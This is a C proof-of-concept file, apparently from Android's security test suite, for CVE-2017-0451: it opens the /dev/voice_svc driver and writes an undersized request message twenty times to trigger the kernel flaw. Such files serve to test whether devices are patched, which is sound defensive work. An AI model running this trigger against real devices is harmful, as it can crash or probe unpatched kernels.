Home | History | Annotate | Download | only in CVE-2017-0451
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 
     18 #include <unistd.h>
     19 #include <stdio.h>
     20 #include <dirent.h>
     21 #include <string.h>
     22 #include <sys/stat.h>
     23 #include <sys/ioctl.h>
     24 #include <sys/types.h>
     25 #include <sys/wait.h>
     26 #include <string.h>
     27 #include <dlfcn.h>
     28 #include <sys/time.h>
     29 #include <sys/mman.h>
     30 #include <sys/syscall.h>
     31 #include <sys/resource.h>
     32 #include <fcntl.h>
     33 #include <pthread.h>
     34 #include <unistd.h>
     35 #include <sched.h>
     36 #include <stdlib.h>
     37 #include <errno.h>
     38 
     39 #define MSG_REQUEST  0x2
     40 
     41 struct voice_svc_write_msg {
     42     __u32 msg_type;
     43     __u8 payload[0];
     44 };
     45 
     46 int main() {
     47     int g_fd = 0;
     48     char* dev_path = "/dev/voice_svc";
     49 
     50     g_fd = open(dev_path, O_RDWR);
     51     if (g_fd < 0) {
     52         return -1;
     53     }
     54 
     55     int size = sizeof(struct voice_svc_write_msg) + 4;
     56     char* msg = (char*)malloc(size);
     57 
     58     (msg + 4)[0] = 'A';
     59     (msg + 4)[1] = 'A';
     60     (msg + 4)[2] = 'A';
     61     (msg + 4)[3] = 'A';
     62     ((struct voice_svc_write_msg*)msg)->msg_type = MSG_REQUEST;
     63 
     64     int i;
     65     for (i = 0; i < 20; ++i) {
     66         write(g_fd, msg, size);
     67         sleep(1);
     68     }
     69 
     70     return 0;
     71 }
     72